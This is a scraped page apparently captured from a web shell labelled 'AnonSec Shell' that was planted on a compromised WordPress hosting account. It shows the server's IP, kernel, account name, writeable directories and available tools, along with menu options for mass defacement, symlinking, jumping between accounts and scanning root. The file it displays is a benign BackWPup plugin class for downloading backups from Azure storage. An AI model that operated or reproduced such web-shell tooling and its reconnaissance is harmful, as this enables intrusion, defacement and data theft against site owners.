. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/wp-content/plugins/backwpup/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/wp-content/plugins/backwpup/inc/class-destination-msazure-downloader.php
<?php

use Inpsyde\BackWPup\MsAzureDestinationConfiguration;
use Inpsyde\BackWPupShared\File\MimeTypeExtractor;
use MicrosoftAzure\Storage\Blob\Models\GetBlobOptions;
use MicrosoftAzure\Storage\Common\Models\Range;
use MicrosoftAzure\Storage\Blob\BlobRestProxy;

class BackWPup_Destination_MSAzure_Downloader implements BackWPup_Destination_Downloader_Interface
{
    /**
     * @var BackWpUp_Destination_Downloader_Data
     */
    private $data;

    /**
     * @var resource
     */
    private $local_file_handler;

    /**
     * @param BackWpUp_Destination_Downloader_Data $data
     */
    public function __construct(BackWpUp_Destination_Downloader_Data $data)
    {
        $this->data = $data;
    }

    /**
     * @inheritDoc
     */
    public function download_chunk($start_byte, $end_byte)
    {
        $option = new GetBlobOptions();
        $range = new Range($start_byte, $end_byte);
        $option->setRange($range);

        $client = $this->getBlobClient();

        $blob = $client->getBlob(
            BackWPup_Option::get(
                $this->data->job_id(),
                MsAzureDestinationConfiguration::MSAZURE_CONTAINER
            ),
            $this->data->source_file_path(),
            $option
        );

        if ($blob->getProperties()->getContentLength() === 0) {
            throw new RuntimeException(
                __('Could not write data to file. Empty source file.', 'backwpup')
            );
        }

        $this->setLocalFileHandler($start_byte);

        $bytes = (int)fwrite($this->local_file_handler, stream_get_contents($blob->getContentStream()));
        if ($bytes === 0) {
            throw new RuntimeException(
                sprintf(__('Could not write data to file %s.', 'backwpup'), $this->data->source_file_path())
            );
        }
    }

    /**
     * @inheritDoc
     */
    public function calculate_size()
    {
        $client = $this->getBlobClient();

        $blob = $client->getBlob(
            BackWPup_Option::get(
                $this->data->job_id(),
                MsAzureDestinationConfiguration::MSAZURE_CONTAINER
            ),
            $this->data->source_file_path()
        );

        return $blob->getProperties()->getContentLength();
    }

    /**
     * Sets local_file_handler property by opening the current chunk of the resource.
     * @param int $start_byte
     * @throws RuntimeException
     */
    private function setLocalFileHandler($start_byte)
    {
        if (is_resource($this->local_file_handler)) {
            return;
        }

        $this->local_file_handler = fopen(
            $this->data->local_file_path(),
            $start_byte == 0 ? 'wb' : 'ab'
        );

        if (!is_resource($this->local_file_handler)) {
            throw new RuntimeException(__('File could not be opened for writing.', 'backwpup'));
        }
    }

    /**
     * Retrieves the service used to access the blob.
     * @return BlobRestProxy
     */
    private function getBlobClient()
    {
        $destination = new BackWPup_Destination_MSAzure();

        return $destination->createBlobClient(
            BackWPup_Option::get(
                $this->data->job_id(),
                MsAzureDestinationConfiguration::MSAZURE_ACCNAME
            ),
            BackWPup_Encryption::decrypt(
                BackWPup_Option::get(
                    $this->data->job_id(),
                    MsAzureDestinationConfiguration::MSAZURE_KEY
                )
            )
        );
    }
}

Anon7 - 2022
AnonSec Team